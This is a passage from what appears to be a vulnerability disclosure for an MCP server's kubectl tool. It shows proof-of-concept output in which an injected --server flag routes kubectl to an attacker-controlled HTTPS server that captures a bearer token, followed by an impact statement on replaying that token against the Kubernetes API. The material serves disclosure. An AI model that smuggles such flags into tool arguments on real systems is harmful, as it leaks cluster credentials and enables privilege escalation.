Details
Expected output:
Calling kubectl_generic with --server=https://127.0.0.1:19001
kubectl will send Authorization: Bearer to the attacker HTTPS server
CAPTURED: Bearer EXFIL-CONFIRM-THIS-TOKEN-12345
PASSED: bearer token exfiltrated via kubectl_generic flag injection
Injected token: EXFIL-CONFIRM-THIS-TOKEN-12345
Captured: Bearer EXFIL-CONFIRM-THIS-TOKEN-12345
Impact
What an attacker achieves: Privilege escalation within an environment where the attacker already has limited cluster or codebase access. The Kubernetes bearer token from the operator's kubeconfig is delivered to the attacker's HTTPS server on the first kubectl API discovery request. The token grants whatever RBAC the service account holds, in a typical cluster management deployment, this is broadly scoped. The attacker replays the captured token directly against the real Kubernetes API, independent of the MCP server.